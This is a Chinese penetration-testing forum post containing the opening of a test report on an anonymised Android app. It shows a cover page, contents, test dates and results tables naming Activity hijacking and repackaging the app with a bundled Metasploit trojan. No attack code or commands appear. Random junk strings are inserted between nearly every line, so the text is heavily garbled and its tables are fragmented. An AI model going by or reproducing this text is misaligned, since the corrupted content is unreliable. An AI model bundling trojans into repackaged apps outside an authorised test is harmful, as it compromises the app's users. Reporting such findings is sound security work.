中国网络渗透测试联盟

标题: 原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞 [打印本页]

作者: admin    时间: 2022-6-8 20:32
标题: 原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞
; M6 V5 G% o8 i. z5 M 0 q' F% D) i: Y9 s& z6 C* j

; P, U8 a# G! }7 K7 t" o 8 l& y( ^# L o
2 g/ _7 J3 J* o # |# A' w* g$ w' v2 u$ m4 |

4 f$ S( Y: N6 V6 D9 K9 Z " _$ B* W1 ?/ r
% B) b% ^& b, L, d+ q+ X - @$ J. E2 n5 [; k2 j! C

$ N7 a( v% _4 K( \. k& U* Q ! {; b6 F9 I) ? N 文档编号:                7 H9 G4 [/ S& } - o/ ~4 J9 r8 I, k. m" I# Z; N

! ? k" p" E E. U8 ? 0 W8 b8 @( r' U# A* T; g( ?5 G

. G. n8 r0 p6 j- N! d/ l 3 z' s; K& C0 i$ Y& L2 |9 i Z   e% u1 I7 {6 s. p6 b& u3 r, j5 } * Q l+ \) e9 i

V( b- ]- g* [2 s % D8 v. O/ c/ C, U. V

; H5 i8 j: P$ V1 K 3 f1 O' Y+ D! ?* b S   ( w) r* P/ ]; p+ C& o9 [. s 0 S7 t5 |! g* z

5 c# @; R' S0 i4 V2 K: \ . ~3 W$ A' s/ L, P7 c: r U

) |+ T' ]. c( } ' k) \+ b- h) S6 u* s( }1 v6 }3 ^/ J   5 e1 |# g$ Y( |' V $ x8 f8 a N$ n S

6 y( d. w8 c( q% ^) B 9 }9 a3 \3 h' t, i! l

7 z J* D0 X/ @0 Y% J+ ` L) }* S / N# R1 z1 p9 M* P   0 I% R3 Z; w% n5 C( L ( y4 Y3 B. T% _# v

/ s& P: a9 n& x* }& q5 V. A: R " g4 g: i- t0 y+ ]# P7 _) [+ E* M

4 ^; ~2 S( D7 [: q' z7 p7 _6 R! l8 ^   6 s1 E- u4 V, a: W: ^9 ]) g ( ~9 W; Z) h3 K) K! g

$ ]9 z5 K- K0 s+ {$ S A! }0 K $ j/ ]. A! q9 T& Q0 T) @

* G2 a' b2 F$ @( u2 G6 h; O$ C W 某某某APP渗透测试 6 {6 P' ?/ D0 ~% F1 f: T & ]! Q8 J! e5 G& ~* {

& |3 C, ^: t1 C! X. o 8 l- Q: m/ t, N6 x( |$ U- p

* P b J' R5 s! k4 }0 ] 8 E7 G6 D0 |+ U4 e1 C" a( ]   8 h2 N8 }8 z5 g5 T- o8 a( ^1 d 7 T# L/ |- J2 l5 ~9 K

; t0 y; g3 e! A5 g ! w5 }2 [' o$ c/ S

# f% C( H8 G( L. ?( s , x# x# o: A! J4 H   " w, d6 i& c' p0 c5 |# I* \- o! d

, y2 Z9 b# l* ~; o$ _6 ~ 5 ~9 }3 r: z4 g3 B' p7 j

5 @* f$ ~$ ^/ u* W, F% _/ B% `   7 G: V, ?$ Y" P$ [6 l9 w0 J. }6 X$ S: P; S t

6 x( I; h: C$ G$ |. u8 b3 @' X8 ~& w4 S+ M/ J

! H1 ?' |1 P) V9 h5 w1 y5 } $ X+ T1 B0 b4 y7 W4 F   0 k7 s$ @' s) Y1 p E' K: r- W1 `( ^8 `. {! G

: z4 M3 {8 w0 `& D$ T D9 L' j6 P# ~+ T1 s& C G+ u

5 l" `: {3 V, g$ g9 u : m) n( P0 r+ S7 U1 O4 w: V8 s 技 术 报 告 ) E2 I; l1 J2 X; e7 ^0 }6 t. w ) \4 \- ] l9 X8 {2 Y) C& _# Q

V+ M7 Q8 l) u3 l / t$ r9 W a. y# r, d: v

. X# p( x8 ~. ?, ^ / O; F6 O" F# V5 c4 P   ; G6 j8 F8 c! _" D% {8 e. h1 g1 A4 v& f" E* w3 ~3 l- |

. k& t0 \( g& q. @" Z( s! j: {, ]3 D

2 i8 j& _+ ~/ g4 r8 q2 G$ N7 e: y7 z; q/ S% T   1 u) J% M& ^% J+ t7 b! p; O! d 2 z% [: t& L7 u# _+ a

! E6 t/ M# f' H* ?& m% p R! Z . k# t5 S9 u2 S3 Y/ O* _5 A g

$ m) C9 Q+ s$ D2 D. r* L+ `9 y8 M8 }( }0 A* \4 f4 \6 a. V! s) k1 a Y   - \) _$ o0 Q2 Q! y3 l) ^9 @# P) l, H9 b( f& a

& l: s. O: T- X8 U. M 9 E" i, M$ x- }! G* S' A

0 h; V0 P& f, b9 P# F. C. X% v " W+ e$ F3 b9 N" N0 Q: x% R6 Z   1 u- [* |; e! H s, M6 y& v% R. B! b

& @8 i, h5 N! N$ m/ l( M. M" ? 8 R5 T5 |# P% \, M5 q8 }& d

1 Z5 p* ?# K/ y, M2 @ ' A J: `9 P! i/ l2 l; i" O   * y- N% |/ F+ {# M: T$ C5 [& T% o. X5 T" n L

( v; r: b9 e4 f5 h) V8 @, s$ |. f+ ], C! m

' Z- O2 G- O! b5 @7 F1 q 0 X- I' x3 a p+ s! {7 H! O   ) ^! \ K- W4 M 5 m7 o9 T$ \% A$ L( Y$ U

8 Y& C' i8 w/ E9 q( | & g2 b& l$ R' b

) d4 c: C+ I8 M( `9 z Y# r & Z( V' ~2 N( W5 ?, q4 D   0 e U* C( w" X1 C6 @" j7 r4 D) y r$ J " s3 Z6 B) ~' W' d. C& Y+ ~

' z c6 r. e* O- f1 O5 x: e. U7 u/ e/ v/ S

2 J* R6 d3 R" s& Q ( e% s3 f) a5 p4 g* O+ C: m2 D   ; u: y# n4 Y) b$ Z, q+ A! E $ V8 b3 A7 ?" C- s

5 y: P( q# ~$ b" l# A+ N7 r/ z) L2 a7 I5 \

' _/ B. v1 |- p- u/ }$ Q9 q+ r/ V & }' H- _$ N) j/ O/ B- m O   9 f* b, {5 o2 V, R9 z$ H8 N/ X8 [ s/ X9 P p

, @1 t. d3 H7 L: }/ a4 Z # w! }: U: H7 A: Y* s1 h

$ ?2 m+ c( w" ]" I0 m " F- e- q/ V2 U9 [3 \   0 b4 E3 G3 b2 c& \4 V$ T) O! f ! k* I+ e/ E! l3 @6 x5 d

6 h% P0 O2 Q' l6 G) F $ d% g, y- G/ T' O1 X

0 W: I" ~6 V, U' u4 `7 P G4 p* s- W% a1 z3 ~! V* y. U+ I4 j   7 l5 y8 f- q: z( T$ }4 _. J g / ~, T, I- `/ C/ e6 u2 N

9 j+ E* t( l. Z$ \ ! @, {' ?( f8 B1 ]* W9 n

- D& U3 [' l, v. Y( \ % a$ Z) F& V9 `* _0 a- I   $ _/ _. l, R7 W2 U ( z1 P# O& J; }, J$ E

; k8 U$ B2 J7 _7 ?, u# V2 G% M+ Q+ O

8 V" Q% V) r( z D. Z ; P% q" r _- Z% x/ n$ l$ _$ I2 R! j   3 G s6 X, g: s, B ; v( z6 o* N! X: e

# w1 h: b$ w: q2 k6 R ! R% j8 o7 E" J. e; ]+ H* v

0 g5 D' ]/ l5 K7 _) V' a; f$ _5 ^ : J( f% `& Z3 ?$ ~$ R% W% Z8 C   : K& g4 A n, r% @; | x- s$ p: o1 B; K, J9 n

7 \- o. t( \/ C. Q. C) R! L8 e1 j$ {2 O& V' I( D

* x2 I( e8 A! p' x" E5 e $ G% t$ u9 y* j+ m   8 \: M) O! f4 X8 b. u! p5 j, @& ?3 G c 7 e# t7 V9 ]! @: ^

2 J8 N! ?3 E; a: |3 k) z 6 O {- m) h1 a7 b) s5 v

3 E5 d8 L5 B) D! Q# U7 r; H9 R . P, y6 Y, h/ Y% A3 ^   ! x& }' d8 t" m5 a $ L+ `: n, G& @+ l$ U" H3 |- a

# h* b. \, F( K9 r+ r( Y ) V5 R( i( i6 ]; M0 N

: _6 f/ a3 u+ B. A + ]3 f$ H- c1 y1 ?   " ^ d/ O% e/ G/ H/ Q & D& {. x4 G( r$ M# `( Z7 D

4 P0 M+ E+ T) s- s+ h ?+ y- ~; t/ ~2 u7 i/ ]

+ T) |2 u$ A0 |& E: r l# p 5 L; O$ ?8 h. @0 V" n   * ?! x5 ?" V% f/ _ & R7 H: S1 {8 M6 D( {2 w

4 Y( g; {3 K' M c) `& Z# d0 z ' t. U: @& |- Q: G" \. V

6 ~$ a' ?8 x, I/ f7 r6 q p7 `5 V, S( q5 r5 o 二〇二〇年 2 T' g+ T5 T+ X- Y9 Y% n9 U ' c$ V2 Q$ A( ]/ p& f. f, V, _

% _) n$ f1 R& \# _. \ % h2 B* i6 ^' e. e/ O7 b
, T, s. ]2 O% X' H1 [ / W# X! f- Q3 b6 h: P1 n" D
7 K, z: s2 j' F7 A6 a. H4 b' r" v9 ?9 J' s) `( w* Q" B0 h( ]( s
s4 ^" l! V7 ~: j 8 h- B3 ] r; L W9 _# c
. J, }9 C! V/ p4 o1 W& W! B# ]% K4 ^& g; a
" b3 n! @6 V _- c- N: Q 4 G( @% w8 s; T9 q N9 I
) k* h" j r: p$ r4 r6 H% B( _ 1 g" c7 v' c( N' `
* B+ R: ~( D% }* D: w ; H, F: k# x# g: Q2 V, H; d- G5 P
/ z0 [' O, G- H! ^9 @ 7 v r$ F6 q) b: q7 v: {) Z

- U5 E* V" b, o$ C# M $ a' G0 R9 s: m) x* g$ P5 @ 目 录 , O7 c! @ o) B% l/ R- O' g y; Z# |" h

( C/ l7 I) b8 y3 y6 p, E9 Z& W) Y( B9 e3 C$ [( S% O a2 S: L* _7 Q5 Y6 t 1 |6 i1 I, D5 y7 \0 n

( g s% x: w0 U1 Y# X# ?' u ) l; h9 Q$ |3 D) E   ) V0 o- I. F/ v7 M, d! x+ B * t4 w$ s' m8 S

/ k0 \- D" n8 q% D) r% [ % F8 q0 m" A! C6 P8 @

) R8 Y8 Q4 j9 K 0 l* ]7 i. v7 ~# x 1 概述... 3 1 V# k, @" W. ?: d* E - V3 Q; M7 P, t* L

' [. o$ Y8 o, U% Z$ g5 u- [, k2 I( y' a; L- t- f$ H, N

; E5 w4 l" _" F+ C* U/ b. B) u, I5 {5 {4 C 1.2测试时间... 3 ) z$ `+ J6 j5 ]' [- T3 E* \8 o: ^: t/ l I

$ ]+ b- Y4 w Y( X+ o" t$ j 2 |- y( h8 k# x% r7 V9 q

3 q$ k7 `& Q3 a0 L; _5 y, |2 L+ @# x6 d# | 1.3测试对象... 3 * Q1 I8 h- U0 A+ `. h7 w; {. A! `6 z4 }

?/ T: W8 x( e% [0 U; C& |: M; I5 ]% o4 b( ]

- p% C( ^/ f& f X7 T6 F) m( O " A9 |7 @+ D* H6 n 1.4测试结果... 3 % j2 F) x% Q ]2 c4 L& U 1 |9 M% [, B' q- ] t3 ?; L, k2 S

; ^% {5 w$ A8 C& V* p8 v% f8 y5 R 6 G M! h4 Z) i' H s

# d+ _0 g2 X' _& a! J: C" f 5 n( \% R% b3 g- @9 z 2 检测结果... 4 + K1 Q) S+ ]( h. J % |7 I3 O, f4 w$ n3 b3 T! Q6 O

* \" C0 [2 e- }7 ] m4 E3 l# [/ g0 H

! q$ v8 {* l) n) c0 I4 u% |0 T 5 |+ S% W6 R8 P4 G H) H' q 2.1 某某某... 4 5 n; j0 f: y g( |* S * p) _# O8 S5 ?; S. q

& w5 R8 j6 Q! H: L: s- v# _ 5 x, t3 i4 O) f3 K

( W' A& a& X2 p 8 ^. o5 e6 X8 m( w. s 2.1.1检测目标... 4 / y' \; a* G! F4 L 5 F; p1 ]# g% b6 s

~! g* H! p1 ~2 A$ @# g; k) j! e$ B) ?7 k0 O, V+ r6 g

1 \* Y% B$ |8 x$ g # G& I; Q, N3 i; X2 \ 2.1.2检测结果... 4 5 u' _9 ?% U. p$ P/ |$ c9 P C9 C3 x7 A) G% |" f! g

, x! |$ V# o+ z/ c; Y. y3 h4 M0 ]- E8 ^! F, l3 f* p" P

1 E/ k7 s) N- o' t* W% ]8 b' R ' b8 S& R$ J. n( U6 }7 L: N( a$ Z 2.1.2.1. 4 7 e O% J- k: m1 {+ J 1 q3 Q+ l* D8 I' ~

! e9 P3 i' L3 ~ U9 r2 Z% z ( ]# N! k% Y9 a- r+ x/ u4 q! O

" E3 V/ V3 X- |+ _. A B 8 A( x3 ~1 i4 j" x: S3 K5 S 2.1.2.2. 6 / z4 [: f: @7 P. _ 6 e- o" w% y$ h; x' Z

8 }+ w" F" {2 w) x' K" i0 A3 c* I& _6 b3 r

; s( y9 W/ `7 ]. q$ q7 c 2 T+ ], x! j0 I# T" [ 5 W* e& f8 v! D1 a% } ' w2 ^; Z9 g. F8 D2 l: T

. ` g# d8 W: @, i8 |) ^; k: D$ p' E* B& I* g# s) c, V& t
' i5 T$ f/ X+ G' q) c+ K: c8 Y' M* Z4 d- C5 Z6 w
4 T1 w& Q( C9 L5 F8 R- S Z4 C Z. z p+ h. }
- E6 W& _) n2 P7 j- H 3 T3 q7 N# ~+ n+ t! `& e% j
d' [* N5 C* D9 K' a: D2 |3 b$ q; N. b+ d* [

! |6 h: F8 X, g$ N 6 a9 |" d) ]# x; J0 F' i' J 1 概述 3 k% P7 D( ^& N+ q$ Y 9 Y) J) B9 I% |

5 X5 P2 A( r$ A% `9 v% w" j% f5 K, f) k* h6 h, c% ?; W. e

8 G0 M# |$ h! e + h1 k* h: c) Q7 d% ]$ |& F 1.2测试时间 7 T4 G: E' v, t) A3 c7 y+ v' K- d4 h9 M2 A

4 I: L+ ?5 t* k3 p3 H8 |) n7 X, w- L9 u8 \ & `4 M+ U6 R( ]: ]' X2 n. E( _% ]% r1 n$ G: w- i- U+ J5 u- e9 K c- u8 Y9 ]1 I: R, y* I! \! J. c- ~6 V' l. R0 d! z$ e7 o7 k+ }; V7 d% t1 z. U$ g; v4 f5 l6 a& w: V. k& K+ j+ T' S/ P4 A) w- ]0 c0 | n- A: l s" m9 ] k8 T7 T0 X' K: e; v0 j0 c8 {' ~& s9 d/ o) F: c! \8 ]8 [4 ?3 m- u# K3 `4 {; i/ d6 R# u* A, s! \% {" J5 }" b( c: f$ b) y: X% `- I. [ R8 }7 q, Q1 D2 l& f/ i; L( M7 B6 a( Z- L! W' e* C: g% n* f+ }& y! E7 Q0 X% F% N, n5 X1 ^7 g- c+ p5 j. x2 b$ ^: u/ A1 {; |0 | U' T: ]0 p3 _8 [* _; a& L4 K, A9 j# f% t6 @; m. y, e# J/ F. B ^9 e, ~3 p; V" E t! s/ r I0 r4 \ c; ^( i% }/ R4 j. R0 D- G- `4 F4 f9 ]8 \/ b* g% n. q" T: P& A U6 F9 I, P3 M0 ^; e7 d" n/ r% a' r3 M! h0 O& J/ z9 H; x% b6 G
. c+ T$ ? Z' W4 o1 g / c4 l u; W3 A$ h& i

. h3 v; G( v6 ~+ K; _1 Y4 U# z2 Q8 s 渗透测试时间 . U7 g% B9 e: }/ k) i0 c 2 ^& d$ `# Q8 K. ?

: d2 b. I0 L1 L$ { V8 {3 _$ {$ N4 ` y6 }; ]
( N) o8 P! M: t5 P0 ~ 2 I- P+ A Q+ r6 O

" A; J# X) r& \8 B) M, z6 T ! R, ^. `1 n; h- Y6 w5 Z; \ 起始时间 7 R1 z8 [9 y2 m; D$ c # {) A( c+ k- t0 a f! ~# h. i

9 b0 i' X* D7 h1 @ ( K8 z( L/ ~4 `
$ c) q" D% D% T& g $ I# s' t9 N0 `$ |- `, K; S

8 f' V7 I1 K7 z$ J. ~9 \0 i- P& C( X2 v7 z! l& O 202046 & l( u4 k: b; W0 \9 r ]" N* q ( S- j* D) `# |) d8 M" s: g9 F2 j

1 O. I0 S! [; t. u4 X" @' U / ?5 z5 p) ^. W- v+ M2 ]: @
! }8 k7 m% r) L 1 q n% z8 r7 ?" x

4 t" t2 _! E5 N/ H$ B" O# K' I' m$ m$ y' r 结束时间 2 `+ W7 y* t9 ?5 _% l4 m5 @7 @( L5 n5 V4 U5 u0 b

: f; z. D8 p# _% T ) q5 N, K( t7 G" ?0 }4 r1 i
# `& d$ e8 [; f) I $ k# |! E/ }% B

. p0 t+ C E. D U8 \- m2 L% i. l* Z4 a2 e 202049 & K$ I+ n& W6 p i" x6 x( F' P2 a! u4 w+ m, I

9 W7 q" w8 D- [* U4 U$ U1 a4 j* [5 i5 ?( h7 m- r( r
0 U1 B, l4 _! ~6 ^1 E# _3 Y2 \1 T1 C7 g1 q% G1 \8 D) L

4 U2 m' L! _& C: B7 d 2 `0 q0 p. F5 {3 S8 [6 X- X' o 1.3测试对象 * F+ H( k0 c, O5 V- \/ d$ N1 g+ O ) D n2 Z2 A9 ~. d6 h

2 h$ p! Z, r; Y( ?0 q0 q 0 X6 N2 h7 T& o2 }$ Q; z7 f7 ?

5 U4 j# n* N+ I- y5 @ h& J5 @! i- C ' y, x9 D5 t) T$ ]3 ]& }$ s 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: * H* F' q3 o( G% L2 ^/ n 8 u% X: U3 t: W0 w4 P+ a! K

; k2 N6 r t" {$ C8 Q# k5 U$ C6 n/ ^3 s3 ~

7 H$ E- ? V! q* H # [6 l0 ]" D! [, N/ d 1-1 检测对象 3 f% Q* Y/ u0 j! F3 p' v5 ] ; R! H2 R- N. ~$ A; i

9 a5 k# m1 I4 I7 A; e- p3 l- } % z* t. E1 p* a& l 9 B' b/ Y$ B2 Y$ Y4 K% e1 V2 [7 a T% H. l8 B$ p/ B5 A8 }& p9 C+ t0 u% n3 s4 U A6 _: v$ X5 O& P4 {2 ~+ t0 \. I7 @6 r: l e% x1 }7 W @# _+ D3 `1 W& R/ y$ @; Z3 q+ q9 p3 M1 N; F: |4 r1 }1 Z0 J/ i. B) c9 O: T" z8 `* h8 @" q$ X8 K* e: L/ b) b; }3 Y0 d& f7 Q5 f3 @! f6 e$ h6 ?) @, @* y) v5 b2 r8 ~ t9 R2 V' M0 I/ k: H, ^7 @" H5 g' ]: D5 i# K8 e0 {) Z* t6 Z0 c2 `8 C+ Y& B$ N7 \+ S/ a2 J7 E" _ m5 E) ?# P# E9 n* s7 Y1 |$ f/ F7 A& ]) ]5 q) y* \: q8 i. {! E3 u* }% R4 g' r9 |+ I, f: h, u/ {$ R! ]0 y5 c5 O7 ]$ Z. O+ g( w/ _1 z' j' y8 g j! x# X$ G3 y- k; n$ b0 A- A1 V6 l S0 M" g7 {" _- X. W( u% ?( P* \1 W9 Q. Z2 R9 c6 ]: Y* \. E& j4 p, v! F+ L7 O- J8 r' O. ^, x/ |$ V3 r0 z& w2 j7 B3 [8 _: x2 G$ S) p! g- Y
" Y# G3 D0 C( u; y ! e- ]; B1 a, p

& ?2 P- r6 p' t4 {& O ! j: }9 ?2 F7 r3 G# n 序号 + y7 P8 Y/ ^" d+ N% M0 L \1 N9 D. s" k" b+ z+ l

& p" t6 r; B B4 a# e( u0 |/ {% M. p& C8 X& Z) m; |- R
% s5 W6 l$ U! f 7 z0 H: J$ L2 ]) G" J, S4 h7 Y2 i

6 r- b9 D: m G3 g) h( _# k3 h8 e& t0 x8 z/ G5 C- m9 S2 t5 g2 T 测试对象 : ?; U ? {& A" h: v1 z " `! H! G, h# ~! q. d! _8 A: M

+ t, ~! T* q9 Q3 k: m ? ]- }2 N$ y" j
8 Q1 x# [% R/ j $ y1 Y6 j; F# E2 z

& b3 x; @2 q& x" S8 R# p& z1 h . u- A- c3 y7 e% q 测试地址 & d, U* Q9 K: J6 m# A: ?& H+ N , g$ O. k! `/ { }

. x+ X/ Z# L3 K' ]9 o 4 X/ j# J/ `% b5 h5 L, ?
. R/ f Z) f+ P2 Y- q' o: } N7 Y e

1 ?5 t! V3 v9 G$ T1 o \1 P6 h, h9 V3 ~1 ?/ i J& f" { 安全漏洞 ' j9 g' H7 {7 Y2 |9 M" w 9 z( ?' |8 @/ V" s& V) y& o

! c. [5 x9 f% j 1 e% P1 [5 T% @# e4 O
2 t9 f6 K m) Y. i $ ^+ l J7 S5 ]$ [) t5 G

* `$ g# c# T# A$ o3 Q* i 2 f1 C8 h: {6 d! n9 y/ o 1 / W( d7 {$ j7 Z" H# f / Z+ m- P% Z& h% k- i7 ^5 e

5 G$ M3 N* f* r9 U- g) o* Q9 V# E6 o0 E* @2 A5 P' \) T- [! ~
" q) w# \5 C3 { 8 f# l4 z" K7 M" }1 y

0 v& o; o3 N+ P. w+ |" w ; v# z7 v! f; k1 K, @" ?- R. n 某某某安卓APP " c" u7 @! o, c( g6 m( a1 b/ M ) R; T* k% L8 `, h& b7 m- S% i: `. r1 g: M

|$ M, e; m* z6 d / N+ Y$ l- ?6 v$ D* e3 I
& K5 x: d5 Z2 }4 D. d - R8 V, w6 _( E1 }- E ^1 ?

% k5 W( O( [$ g" {' p: a ! r, f; z' U! ?' J; P8 d A, O   ( z5 V/ k& ?9 j# O2 @- J5 D , d1 h8 q* N' i# V$ P/ n; V

$ n E4 Q" u2 E0 A 0 |; z1 F3 i4 z; y6 y
' ]" t/ k+ u* s, ?1 A 2 I! ?6 R, Z6 W

* |/ }3 y/ `1 x* b4 Z/ {+ E) t9 M& J4 M) ~ 2 # ]3 k: ?; q! B! n! a% [, o4 ]3 h0 D0 W; q% T

, Q) K4 p3 L% _! W3 f V* o2 G2 }/ |* ^
9 n9 @( ]: f; _# g( ~/ N7 E - `8 j7 N2 H9 H$ o( E3 F

7 K8 G0 B8 |" w' Y& V" ~ 5 c+ f% Q2 d: N 1.4测试结果 ( ?* b, d; V: [3 _$ S* L- H % T% c# W7 ?& S( r9 _

' E' t) A, U6 b' \ G' b& P, Y# Q; ]1 ^

4 s S4 V. P; Y$ l3 u% T& b / j) ~( r9 `0 ?* i& }3 q( a/ I 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: 7 P" \& B7 z9 L" C n; _ & S i: A! B* \- V# M! T$ w4 g* T9 q

$ @) v: {' V3 u P( y: R- a + v) c$ f- u: |0 c" l

# e9 w3 O- z3 l % }9 S7 \. v8 C7 N   2 y1 V; h+ ^ A: q& d; D 7 a+ S$ W- i# l8 U) O+ x

2 i- y% m: `/ w3 @& I/ ~% [0 u ^) {8 ~* z, T& w" i
8 f2 V* v: G8 Q# u9 u6 c2 ` 5 q6 M' F# G" B0 I! \ 1 |2 r8 I) X5 q+ \" W2 i. \. q; {; w2 ~1 v% E2 P4 |5 I# [% {7 f. l2 l' G/ N# J/ F( a: }8 h! ?+ ]. ~4 C" i6 R7 u1 e& v, {( u! Y; K- V" s% q% X. B8 C! r7 x( v0 H& g+ i) p' ^+ j& J3 H$ `) _% K( e* l; Y6 P5 [5 D; s" H) r. ]5 g% ^" [, D" [3 a/ N+ b4 l8 g8 V# g N& Z5 @, |" F4 X. o- _3 C: b( k/ v0 x6 n7 E/ ^7 X- R( j; R, S/ u# Z8 c+ `4 p* D1 @2 {+ ?1 h& T7 y4 I0 A$ r5 A3 a4 o6 ~, O3 P. G& g9 E8 M: T$ q, w0 \ z" o. [7 V6 S8 H9 C5 r0 N4 N/ t5 W+ |% } ^0 q1 u# a4 L: p( z/ g: q- P5 E" r; J L0 P% a- t E# [ ]* C( I ?0 P: ` i# N( o. V) B5 U- y. N* n$ B# o- j5 I3 {* B* N2 R' \; n* O; ]' B! i k5 a: i% j8 d$ }. n4 P" w" m- ~' D7 d- R- r+ M) j4 l* O1 i( q! ^) P7 w* a0 K6 ?7 S' x% x: P$ q! b* d0 j! D6 G% K, v0 S9 {5 {. G J. k$ X/ A( g: d( g3 { C: r" n$ n$ g5 L* [8 v) T0 N0 _) n+ ?6 \) [/ U/ p: O( Y* @6 Y! O. q m3 k" D i+ T9 ~7 h1 X5 H- t" E7 Y- x: X/ Y% Y5 h9 o" r1 s7 n0 [. f! x$ |) D. F2 g( W% \8 d* J( l- F& E5 `- E7 ~* B9 b' g6 c& W% w4 i: L; S+ q- x, L3 y$ I) t6 x; W: K) N" e& a3 o/ P7 H- r4 {! S! w) I% _1 x0 G) G0 z* w9 X$ f6 C r- z$ c4 K+ Y- |& F$ P, }1 q6 o# Z. i9 i {7 t& K1 o6 V% R
0 ?+ I% R [' X* H. S 2 y) U+ ]5 o* f$ W/ N& b

8 f6 p' C$ y- i! J" z8 { O7 B& d4 d* w& G4 j 序号 U* u# m2 B; j- d* K( n ' c: b- w e; N# @; L, q

! x( H- z Q. a, \. z' S 0 z H" e1 i3 L& ^ E t k9 `( K# `
9 ^$ S! t) z4 f1 q; p; ~' F H; Y' N; | U# }8 s

% L1 ~4 X' D Q, \ ( \3 \' v8 d9 o3 f/ i 系统名称 " T" W/ \) K& L4 Z - A% }# f I' t

# l* C$ M9 I1 a* `3 o+ M 4 V' ]$ L" T7 H* ]9 V+ }/ \
3 \$ k9 C0 i6 G c8 G+ B 7 O4 V. q( z6 n6 y* E+ Y/ U7 d& N1 T

) o! P# \6 k# Z+ {* Y9 [/ u1 v' P% X . ~5 c, q& l: ^1 x# p0 e$ Y0 e 漏洞名称 ) f0 \- D- L5 Z% T ; b, e6 L' E: Q, i8 P* L5 B) ?* y

3 p" c! u; A( ]4 q' N' t4 t # z1 Q7 A8 G, k1 U$ p
! J5 \. }. g" { \2 V! ?' E" U# y # G& I+ c! F; _' j

, O( j$ G) g' o5 U" c5 ^5 d 0 h% H6 i9 m* C$ W$ }5 H; { 漏洞危害 ' }% a, r, _9 c 4 H" b# ]$ ?' Y5 A' r) f5 O

2 S9 t+ W* s) B# w4 u9 F! j 3 D& {# t( H; z* D6 H
0 Q J" w% p9 I" v% X! V s0 f* |2 i" F: p

; L, E/ \/ v* q! ?' E* d7 x# R' o# `' | + b( u4 |( P0 n 修复结果 + b4 e5 \6 H8 n+ i5 {6 z 3 o. w6 t1 G( X5 v( l7 \

/ C9 u: n( v5 a' ^) v ! a7 ]8 F4 |- s& n
) N" I7 }6 Z1 l# _9 L+ r# q2 M/ \* J7 V- [1 m" z+ w

' _" [: q' |' ?7 E' e3 }$ _6 F + ~' D, s1 r7 T& H; u/ k" q 1 , A% A5 _4 c- s- z 5 k0 z5 r2 S/ N3 s5 {0 a" R3 t

/ ~. P8 e( S5 {5 |2 c 2 g* V7 j# k* a( c
5 s8 b6 V8 S4 K: E: q' t" C 8 f* y: k7 J# H( @

* J7 W6 a& U/ F8 k) x 9 A8 c4 k3 e( x( O- h6 x 某某某某某某APP + V; F u/ K" A- F7 [8 ?# r6 T" c X5 A* A" f

: H$ f$ V5 }# U, q. M% _ ! P' P3 V% ]0 j1 e2 ?0 ]
6 Q5 s0 e6 H7 S2 {7 A- s 9 `' z5 q+ r2 \

6 e% O: q9 q9 I ' ?2 Y! x' N, }# w. @* l( e+ Q Activity 劫持 ) \( u; S. l, p6 G# I( g9 D! e& p* s ! o+ M/ ~% E( e/ V5 y: _2 q

$ M6 S K: K1 B* H: V( u# J 3 e8 Q! O9 G0 F# @

6 \1 A# u# c) m* p( F) S1 P6 x- U3 r0 Y' B% r* h1 D( z1 F2 Y) F   0 o* f2 u" Z, r0 h5 Q6 h " _, N( h2 S* s0 w6 R/ R

- f. C. @3 T, d. A3 j$ Q1 B; @ h: v8 p2 c4 R/ O
7 Y! N7 c4 l- t: i+ d$ u! @ _ + C& Z, r2 s( m% m% e# b

$ G' i1 n q% c* E& D+ Z6 E d2 ?: P5 Z , U" U0 r1 N1 C1 z1 l: P 5 P8 {0 ^- T7 g5 S

0 p- `) c0 v) B+ c# O2 [) e+ F9 `9 X7 A7 N; F7 V; d# F/ L
8 G6 M$ c4 k: x' d! J( ^; M 3 G- ~- G6 d) A/ |0 b

5 F5 l% P: g/ x! K : p7 ]) y) H) Z2 z) O) m' T   * n* R1 G/ t/ J: V# O) ] j/ m' s * P3 l6 j" u2 y; Q. R

8 r, i3 k x2 E4 [" w " e8 k ~' ]1 V( g' X! v7 J
% ~3 f: ?0 j! y3 b8 a " z/ \( A( h9 _1 s

+ M- A {8 k: Y ' M9 Y5 z j Z$ P* O9 t. f( S 2 % L0 l( W' |1 u8 y p( }6 `9 j8 h4 Q% R. y* e' y

: c/ W8 M% w3 \$ J! b) I ! D: V$ I: z3 X
U8 S- S \* z! L7 f6 ? ( v( a5 ]9 D: j# Z3 W

, d4 J( G$ ?7 j4 a9 E1 P1 r8 j 2 s+ e0 F7 p2 w' [5 T. u 某某某某某某APP 1 J9 [# |8 j# ~$ ^" Q7 C/ {# D/ F H- P

* c9 N' c! e3 R6 _5 G% d 7 M& r. i! m7 O+ k3 c' @
+ {* l2 c) n$ h9 R; _ h' \0 W0 `; g- E7 B6 _1 _. J7 A

. L6 E" _ a/ u- b n+ b8 u; l % S$ ^0 ~* t) \2 t9 j ]4 `1 G 反编译二次打包捆绑木马、篡改APP代码 6 |1 ^/ w ~8 o2 W4 Q* `0 K3 `1 t( C- P- R

9 j" ~2 Q" C/ S / [/ C$ f$ X- U8 X
1 [' O* V/ X% m' p" _' d: S* j4 Z' \9 L& s

r. x% b$ ~; c8 ~ g/ j $ e# ]9 j1 Y) T6 f3 H& |- y $ a/ ~5 C, U2 x& p! }8 P ?) \( i; d! h. Q3 M

* |! I# l# Z. \4 C 3 ?5 Z; O9 Q6 z
* j8 F/ y5 T! y0 g+ j& x) R% i$ f- N- G/ { @

Q7 [* I1 U9 v* e. T1 C; z. \# c: c8 w4 M) h   6 O: N) D* k# v Q& @9 |4 I2 n+ Y( n+ C% V

4 ^5 \$ b- ]% o& V 1 D) [1 i3 r4 O1 R9 k
% E2 N2 {4 G' f7 _% Z# i( n3 b0 M8 Q1 a3 T+ V6 e9 {* C1 C
0 ?0 b, z: Y2 h* D1 ]% Y- {) ~% @ ; ~5 m# m) A" P! b. A' A

$ \" r: m7 _5 g ! q" D6 v; ]5 u& D1 N% T t. M: G   . f! p/ y |* E1 K/ [% ]* B4 j) w G5 J. K% R6 ^8 @) A$ d4 x

3 D" d! z1 n; H6 B; d ' \( a0 F3 M* L/ c

) W2 K% j- {$ L) D7 E8 u * I5 J* G$ x! \ 1-2 测试结果 * \, ]/ ~* I$ F0 o: h4 s% @3 t ( `; R* u( ?# h( S( I' |

